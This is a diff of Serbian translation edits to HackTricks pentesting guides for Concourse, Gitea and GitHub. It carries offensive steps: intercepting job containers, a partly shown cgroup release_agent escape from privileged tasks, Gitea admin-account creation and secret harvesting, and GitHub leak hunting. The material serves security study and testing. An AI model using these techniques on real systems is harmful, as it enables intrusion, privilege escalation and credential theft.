dovoljno privilegija (**član uloga ili više**) moći ćete da **listaš pipelines i uloge** i jednostavno dobijete **sesiju unutar** `/` **kontejnera** koristeći: +Ako imate dovoljno privilegija (**member role ili više**) moći ćete da **lista pipeline-ove i uloge** i jednostavno dobijete **sesiju unutar** `/` **kontejnera** koristeći: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -140,9 +140,9 @@ Sa ovim dozvolama možda ćete moći da: - Pokušate da **pobegnete** na čvor - Enumerišete/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora, ako je moguće) -#### Kreiranje/Izmena Pipeline-a +#### Kreiranje/Modifikacija Pipeline-a -Ako imate dovoljno privilegija (**član uloga ili više**) moći ćete da **kreirate/menjate nove pipeline-ove.** Pogledajte ovaj primer: +Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **kreirate/modifikujete nove pipeline-e.** Pogledajte ovaj primer: ```yaml jobs: - name: simple @@ -175,7 +175,7 @@ Sa **modifikacijom/kreiranjem** novog pipeline-a moći ćete da: #### Izvršite Prilagođeni Zadatak -Ovo je slično prethodnoj metodi, ali umesto modifikacije/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**): +Ovo je slično prethodnoj metodi, ali umesto modifikovanja/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux @@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### Bekstvo na čvor iz privilegovane zadatke -U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datoteke čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije". +U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datotečnog sistema čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije". -U sledećem PoC-u ćemo koristiti release_agent da pobegnemo sa nekim malim izmenama: +U sledećem PoC-u ćemo koristiti release_agent za bekstvo sa nekim malim izmenama: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> Kao što ste možda primetili, ovo je samo [**redovni release_agent beg**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikujući putanju cmd-a u čvoru +> Kao što ste možda primetili, ovo je samo [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikovanjem putanje cmd-a u čvoru -#### Beg u čvor iz Worker kontejnera +#### Bekstvo do čvora iz Worker kontejnera -Redovni release_agent beg sa manjom modifikacijom je dovoljan za ovo: +Regularan release_agent escape sa manjom modifikacijom je dovoljan za ovo: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -332,10 +332,10 @@ select * from users; > [!WARNING] > Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na localhost-u, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije -Podrazumevano, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita: +Po defaultu, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita: -- To je samo **izloženo lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika. -- Web server **prati pokrenute kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner** morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa. +- On je samo **izložen lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika. +- Web server **prati pokretne kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner**, morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa. Concourse radnici rade sa visokim privilegijama kontejnera: ``` @@ -353,7 +353,7 @@ Međutim, tehnike poput **montiranja** /dev uređaja čvora ili release_agent ** > [!NOTE] > U prethodnom odeljku smo videli kako da pobegnemo iz privilegovanog kontejnera, tako da ako možemo **izvršiti** komande u **privilegovanom kontejneru** koji je kreirao **trenutni** **radnik**, mogli bismo **pobegnuti na čvor**. -Imajte na umu da sam igrajući se sa concourse-om primetio da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radničkog kontejnera, tako da je to kao da kontejner kreira novi kontejner unutar sebe. +Napomena: igrajući se sa concourse-om, primetio sam da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radnog kontejnera, tako da je to kao kontejner koji kreira novi kontejner unutar sebe. **Ulazak u pokrenuti privilegovani kontejner** ```bash @@ -409,7 +409,7 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` -## Референце +## Reference - https://concourse-ci.org/vars.html diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 47fc56190..50b283d60 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -После генерисања concourse env, можете генерисати тајну и дати приступ SA који ради у concourse web-у да приступи K8s тајнама: +Nakon generisanja concourse okruženja, možete generisati tajnu i dati pristup SA koji radi u concourse web-u da pristupi K8s tajnama: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -73,7 +73,7 @@ Pipeline se sastoji od liste [Jobs](https://concourse-ci.org/jobs.html) koja sad ### Koraci -Mogu se koristiti nekoliko različitih tipova koraka: +Mogu se koristiti različite vrste koraka: - **the** [**`task` step**](https://concourse-ci.org/task-step.html) **pokreće** [**task**](https://concourse-ci.org/tasks.html) - [`get` step](https://concourse-ci.org/get-step.html) preuzima [resource](https://concourse-ci.org/resources.html) @@ -85,7 +85,7 @@ Mogu se koristiti nekoliko različitih tipova koraka: - [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) pokreće korak više puta; jednom za svaku kombinaciju vrednosti varijabli - [`try` step](https://concourse-ci.org/try-step.html) pokušava da pokrene korak i uspeva čak i ako korak ne uspe -Svaki [step](https://concourse-ci.org/steps.html) u [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se izvršava u **svojoj kontejneru**. Možete pokrenuti bilo šta što želite unutar kontejnera _(tj. pokrenuti moje testove, pokrenuti ovaj bash skript, izgraditi ovu sliku, itd.)_. Dakle, ako imate posao sa pet koraka, Concourse će kreirati pet kontejnera, po jedan za svaki korak. +Svaki [step](https://concourse-ci.org/steps.html) u [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se izvršava u **svojoj kontejneru**. Možete pokrenuti bilo šta što želite unutar kontejnera _(tj. pokrenuti moje testove, pokrenuti ovaj bash skript, izgraditi ovu sliku, itd.)_. Dakle, ako imate posao sa pet koraka, Concourse će kreirati pet kontejnera, jedan za svaki korak. Stoga, moguće je naznačiti tip kontejnera u kojem svaki korak treba da se izvrši. diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 57e955f77..e02fbbb9a 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -4,7 +4,7 @@ ## Šta je Gitea -**Gitea** je **rešenje za hostovanje koda koje se lako upravlja i koje je samostalno hostovano**, napisano u Go-u. +**Gitea** je **rešenje za hostovanje koda koje se lako upravlja i koje se samostalno hostuje**, napisano u Go. ![](<../../images/image (160).png>) @@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea - Registrovani korisnici: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) - Registrovane organizacije: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -Imajte na umu da **podrazumevano Gitea omogućava novim korisnicima da se registruju**. Ovo neće pružiti posebno zanimljiv pristup novim korisnicima u odnosu na druge organizacije/korisnike repozitorijuma, ali **prijavljeni korisnik** može biti u mogućnosti da **vizualizuje više repozitorijuma ili organizacija**. +Imajte na umu da **podrazumevano Gitea omogućava novim korisnicima da se registruju**. Ovo neće pružiti posebno zanimljiv pristup novim korisnicima u odnosu na druge organizacije/korisnike repozitorijuma, ali **prijavljeni korisnik** može biti u mogućnosti da **vidi više repozitorijuma ili organizacija**. ## Interna Eksploatacija @@ -52,7 +52,7 @@ Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ov Gitea omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (2FA se ne primenjuje). -Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neka prava**, međutim ne možete ga koristiti za pristup gitea api da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup: +Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neka prava**, međutim ne možete ga koristiti za pristup gitea API-ju da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup: ```bash # Go to the the repository folder # Get repo config and current user name and email @@ -60,7 +60,7 @@ git config --list ``` Ako je korisnik konfigurisao svoje korisničko ime kao svoje gitea korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti. -**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključiću moći će da **pokrene projekte iz repozitorijuma**. Obično, na serveru sa različitim deploy ključevima, lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada. +**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključeve**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada. #### GPG Ključevi @@ -74,22 +74,22 @@ gpg --list-secret-keys --keyid-format=long Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-gitea-information.md#personal-access-tokens). -Korisnički token može biti korišćen **umesto lozinke** za **autentifikaciju** protiv Gitea servera [**putem API-ja**](https://try.gitea.io/api/swagger#/). Imaće **potpun pristup** korisniku. +Korisnički token se može koristiti **umesto lozinke** za **autentifikaciju** protiv Gitea servera [**putem API-ja**](https://try.gitea.io/api/swagger#/). Imaće **potpun pristup** korisniku. ### Sa Oauth aplikacijom Za uvod o [**Gitea Oauth aplikacijama proverite osnovne informacije**](./#with-oauth-application). -Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/akcijama korisnika koji je verovatno prihvataju kao deo phishing kampanje. +Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/akcijama korisnika koji ih verovatno prihvataju kao deo phishing kampanje. Kao što je objašnjeno u osnovnim informacijama, aplikacija će imati **potpun pristup korisničkom nalogu**. ### Zaobilaženje zaštite grane -U Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupom za pisanje** nad repozitorijumom koji se može koristiti za **zaobilaženje zaštita grane**. U ovom slučaju to **ne postoji**, tako da su zaobilaženja ograničenija. Ali hajde da pogledamo šta može da se uradi: +Na Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupom za pisanje** na repozitorijum koji se može koristiti za **zaobilaženje zaštita grane**. U ovom slučaju to **ne postoji**, tako da su zaobilaženja ograničenija. Ali hajde da pogledamo šta može da se uradi: - **Omogući Push**: Ako bilo ko sa pristupom za pisanje može da pošalje na granu, samo pošaljite na nju. -- **Whitelist Restrict Pus**h: Na isti način, ako ste deo ove liste, pošaljite na granu. +- **Whitelist Restricted Push**: Na isti način, ako ste deo ove liste, pošaljite na granu. - **Omogući Merge Whitelist**: Ako postoji whitelist za spajanje, morate biti unutar nje. - **Zahtevajte odobrenja veće od 0**: Tada... morate kompromitovati drugog korisnika. - **Ograničite odobrenja na whitelisted**: Ako samo whitelisted korisnici mogu odobriti... morate kompromitovati drugog korisnika koji je unutar te liste. @@ -97,7 +97,7 @@ U Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupo Napomena: **ako ste admin org/repo** možete zaobići zaštite. -### Nabrajanje Webhook-ova +### Enumeracija Webhook-ova **Webhook-ovi** su sposobni da **pošalju specifične gitea informacije na neka mesta**. Možda ćete moći da **iskoristite tu komunikaciju**.\ Međutim, obično se postavlja **tajna** koju ne možete **dobiti** u **webhook-u** koja će **sprečiti** spoljne korisnike koji znaju URL webhook-a, ali ne i tajnu, da **iskoriste taj webhook**.\ @@ -109,20 +109,20 @@ Webhook-ovi se mogu postaviti na **repo i na org nivou**. ### Unutar servera -Ako ste nekako uspeli da uđete u server na kojem Gitea radi, trebali biste potražiti Gitea konfiguracioni fajl. Po defaultu se nalazi u `/data/gitea/conf/app.ini` +Ako ste nekako uspeli da uđete u server na kojem se gitea pokreće, trebali biste potražiti gitea konfiguracioni fajl. Po defaultu se nalazi u `/data/gitea/conf/app.ini` U ovom fajlu možete pronaći **ključeve** i **lozinke**. -U Gitea putanji (po defaultu: /data/gitea) možete pronaći i zanimljive informacije kao što su: +U gitea putanji (po defaultu: /data/gitea) možete pronaći i zanimljive informacije kao što su: -- **sqlite** DB: Ako Gitea ne koristi eksternu bazu podataka, koristiće sqlite bazu. -- **sesije** unutar foldera sesija: Pokretanjem `cat sessions/*/*/*` možete videti korisnička imena prijavljenih korisnika (Gitea takođe može sačuvati sesije unutar DB-a). +- **sqlite** DB: Ako gitea ne koristi eksternu bazu podataka, koristiće sqlite bazu. +- **sesije** unutar foldera sesija: Pokretanjem `cat sessions/*/*/*` možete videti korisnička imena prijavljenih korisnika (gitea takođe može sačuvati sesije unutar DB). - **jwt privatni ključ** unutar jwt foldera. - Više **osetljivih informacija** može se pronaći u ovom folderu. -Ako ste unutar servera, možete takođe **koristiti `gitea` binarni fajl** za pristup/modifikaciju informacija: +Ako ste unutar servera, takođe možete **koristiti `gitea` binarni fajl** za pristup/modifikaciju informacija: -- `gitea dump` će dumpovati Gitea i generisati .zip fajl. +- `gitea dump` će dumpovati gitea i generisati .zip fajl. - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` će generisati token naznačenog tipa (persistence). - `gitea admin user change-password --username admin --password newpassword` promenite lozinku. - `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` kreirajte novog admin korisnika i dobijte pristupni token. diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 962e569c9..c06d532cc 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -6,7 +6,7 @@ Osnovna struktura Gitea okruženja je grupisanje repozitorijuma po **organizacijama**, svaka od njih može sadržati **several repositories** i **several teams**. Međutim, imajte na umu da, kao i na github-u, korisnici mogu imati repozitorijume van organizacije. -Štaviše, **korisnik** može biti **član** **različitih organizacija**. Unutar organizacije korisnik može imati **različite dozvole za svaki repozitorijum**. +Štaviše, **korisnik** može biti **član** **različitih organizacija**. Unutar organizacije, korisnik može imati **različite dozvole za svaki repozitorijum**. Korisnik može biti i **deo različitih timova** sa različitim dozvolama za različite repozitorijume. @@ -16,15 +16,15 @@ I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**. ### Organizacije -Kada se **organizacija kreira**, tim pod nazivom **Vlasnici** se **kreira** i korisnik se stavlja unutra. Ovaj tim će dati **admin pristup** nad **organizacijom**, te **dozvole** i **ime** tima **se ne mogu menjati**. +Kada se **organizacija kreira**, tim pod nazivom **Owners** se **kreira** i korisnik se stavlja unutar njega. Ovaj tim će dati **admin pristup** nad **organizacijom**, te **dozvole** i **ime** tima **se ne mogu menjati**. -**Org admini** (vlasnici) mogu odabrati **vidljivost** organizacije: +**Org admins** (vlasnici) mogu odabrati **vidljivost** organizacije: - Javno - Ograničeno (samo prijavljeni korisnici) - Privatno (samo članovi) -**Org admini** takođe mogu naznačiti da li **repo admini** mogu **dodavati ili uklanjati pristup** za timove. Takođe mogu naznačiti maksimalan broj repozitorijuma. +**Org admins** takođe mogu naznačiti da li **repo admins** mogu **dodavati ili uklanjati pristup** za timove. Takođe mogu naznačiti maksimalan broj repozitorijuma. Kada se kreira novi tim, biraju se nekoliko važnih podešavanja: @@ -36,9 +36,9 @@ Kada se kreira novi tim, biraju se nekoliko važnih podešavanja: ![](<../../images/image (118).png>) -### Timovi i Korisnici +### Timovi & Korisnici -U repozitorijumu, **org admin** i **repo admini** (ako to dozvoljava org) mogu **upravljati ulogama** dodeljenim saradnicima (drugim korisnicima) i timovima. Postoje **3** moguće **uloge**: +U repozitorijumu, **org admin** i **repo admins** (ako to dozvoljava org) mogu **upravljati ulogama** dodeljenim saradnicima (drugim korisnicima) i timovima. Postoje **3** moguće **uloge**: - Administrator - Pisanje @@ -64,13 +64,13 @@ Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem n ### Oauth Aplikacije -Baš kao lični pristupni tokeni, **Oauth aplikacije** će imati **potpun pristup** vašem nalogu i mestima kojima vaš nalog ima pristup, jer, kao što je naznačeno u [dokumentaciji](https://docs.gitea.io/en-us/oauth2-provider/#scopes), opsezi još nisu podržani: +Baš kao lični pristupni tokeni, **Oauth aplikacije** će imati **potpun pristup** vašem nalogu i mestima kojima vaš nalog ima pristup, jer, kao što je naznačeno u [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), opsezi još nisu podržani: ![](<../../images/image (194).png>) -### Ključevi za Deploy +### Ključevi za Implementaciju -Ključevi za deploy mogu imati pristup samo za čitanje ili pisanje repozitorijumu, tako da mogu biti zanimljivi za kompromitovanje specifičnih repozitorijuma. +Ključevi za implementaciju mogu imati pristup samo za čitanje ili pisanje repozitorijumu, tako da mogu biti zanimljivi za kompromitovanje specifičnih repozitorijuma. ## Zaštite Grana @@ -85,8 +85,8 @@ Različite zaštite mogu se primeniti na granu (kao na master): - **Onemogući Push**: Niko ne može da pošalje na ovu granu - **Omogući Push**: Svako ko ima pristup može da pošalje, ali ne može da forsira push. -- **Whitelist Ograničen Push**: Samo odabrani korisnici/timovi mogu da pošalju na ovu granu (ali ne može forsirati push) -- **Omogući Merge Whitelist**: Samo korisnici/timovi sa liste mogu da spoje PR-ove. +- **Whitelist Ograničen Push**: Samo odabrani korisnici/timovi mogu da pošalju na ovu granu (ali ne i forsirati push) +- **Omogući Merge Whitelist**: Samo korisnici/timovi sa liste mogu da spajaju PR-ove. - **Omogući Status provere:** Zahteva da provere statusa prođu pre spajanja. - **Zahteva odobrenja**: Naznačite broj odobrenja potrebnih pre nego što se PR može spojiti. - **Ograniči odobrenja na belu listu**: Naznačite korisnike/timove koji mogu odobriti PR-ove. @@ -95,9 +95,9 @@ Različite zaštite mogu se primeniti na granu (kao na master): - **Odbaci zastarele odobrenja**: Kada su novi commit-i, stara odobrenja će biti odbijena. - **Zahteva Potpisane Commit-e**: Commit-i moraju biti potpisani. - **Blokiraj spajanje ako je pull request zastareo** -- **Zaštićeni/Nezaštićeni obrasci datoteka**: Naznačite obrasce datoteka za zaštitu/nezaštitu od izmena +- **Zaštićeni/Nezaštićeni obrasci datoteka**: Naznačite obrasce datoteka koje treba zaštititi/nezaštititi od izmena > [!NOTE] -> Kao što možete videti, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master**, na primer, da kompromitujete CI/CD pipeline. +> Kao što možete videti, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master**, na primer, da biste kompromitovali CI/CD pipeline. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 3a2212561..83b1e4846 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -12,15 +12,15 @@ basic-github-information.md {{#endref}} -## Spoljašnje istraživanje +## Spoljna rekognosciranja Github repozitorijumi mogu biti konfigurisani kao javni, privatni i interni. - **Privatni** znači da će **samo** ljudi iz **organizacije** moći da im pristupe - **Interni** znači da će **samo** ljudi iz **preduzeća** (preduzeće može imati nekoliko organizacija) moći da mu pristupe -- **Javni** znači da će **svi na internetu** moći da mu pristupe. +- **Javni** znači da će **sva internet** moći da mu pristupi. -U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenja osetljivih informacija** **u svakom repozitorijumu**. +U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenje osetljivih informacija** **u svakom repozitorijumu**. ### Github Dorks @@ -28,13 +28,13 @@ Github omogućava da **pretražujete nešto specificirajući kao opseg korisnika Alati (svaki alat sadrži svoju listu dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) ### Github Curenja -Molimo vas, imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći github opcije pretrage. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a). +Molimo vas, imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći opcije pretrage na github-u. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a). Alati (svaki alat sadrži svoju listu regex-a): @@ -49,7 +49,7 @@ Alati (svaki alat sadrži svoju listu regex-a): > [!WARNING] > Kada tražite curenja u repozitorijumu i pokrenete nešto poput `git log -p`, ne zaboravite da mogu postojati **druge grane sa drugim commit-ima** koje sadrže tajne! -### Spoljašnji Forkovi +### Spoljni Forkovi Moguće je **kompromitovati repozitorijume zloupotrebom pull zahteva**. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. [**Više informacija o ovome u nastavku**](./#execution-from-a-external-fork). @@ -70,14 +70,14 @@ Postoje neke **podrazumevane privilegije** koje se mogu dodeliti **članovima** - **Osnovne dozvole**: Članovi će imati dozvolu None/Read/write/Admin za repozitorijume organizacije. Preporučuje se **None** ili **Read**. - **Forkovanje repozitorijuma**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da fork-uju repozitorijume organizacije. - **Kreiranje stranica**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da objavljuju stranice iz repozitorijuma organizacije. Ako je neophodno, možete dozvoliti kreiranje javnih ili privatnih stranica. -- **Zahtevi za pristup integraciji**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to. -- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_ +- **Zahtevi za pristup integracijama**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to. +- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ - **Promena vidljivosti repozitorijuma**: Ako je omogućeno, **članovi** sa **admin** dozvolama za **repozitorijum** će moći da **promene njegovu vidljivost**. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi učine stvari **javnim**, uverite se da je ovo **onemogućeno**. -- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_ -- **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume**. -- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_ +- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ +- **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume.** +- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ - **Dozvoliti članovima da kreiraju timove**: Ako je omogućeno, svaki **član** organizacije će moći da **kreira** nove **timove**. Ako je onemogućeno, samo vlasnici organizacije mogu kreirati nove timove. Bolje je da ovo bude onemogućeno. -- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_ +- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_ - **Još stvari se mogu konfigurisati** na ovoj stranici, ali prethodne su one koje su više vezane za bezbednost. ### Podešavanja akcija @@ -93,30 +93,30 @@ Nekoliko podešavanja vezanih za bezbednost može se konfigurisati za akcije sa - _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_ - **Pokretanje radnih tokova iz fork pull zahteva**: Veoma je **nepreporučljivo pokretati radne tokove iz pull zahteva** jer će održavaoci fork porekla dobiti mogućnost korišćenja tokena sa dozvolama za čitanje na izvorni repozitorijum. - _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_ -- **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog pokrenutim radnim tokovima. +- **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog za pokretanje radnih tokova. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integracije _Javite mi ako znate API krajnju tačku za pristup ovim informacijama!_ -- **Politika pristupa aplikacijama trećih strana**: Preporučuje se ograničiti pristup svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda). +- **Politika pristupa aplikacijama trećih strana**: Preporučuje se ograničavanje pristupa svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda). - **Instalirane GitHub aplikacije**: Preporučuje se dozvoliti samo potrebne (nakon pregleda). -## Istraživanje i napadi zloupotrebom kredencijala +## Rekognosciranje i napadi zloupotrebom kredencijala Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu. ### Sa korisničkim kredencijalima -Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole imaju obični članovi**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima** i **kako su repozitorijumi zaštićeni**. +Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole obični članovi imaju**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima,** i **kako su repozitorijumi zaštićeni.** Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako takođe možete **proći tu proveru**. > [!NOTE] > Imajte na umu da ako **uspete da ukradete `user_session` kolačić** (trenutno konfigurisano sa SameSite: Lax) možete **potpuno imitirati korisnika** bez potrebe za kredencijalima ili 2FA. -Proverite odeljak u nastavku o [**zaobilaznicama zaštite grana**](./#branch-protection-bypass) u slučaju da je korisno. 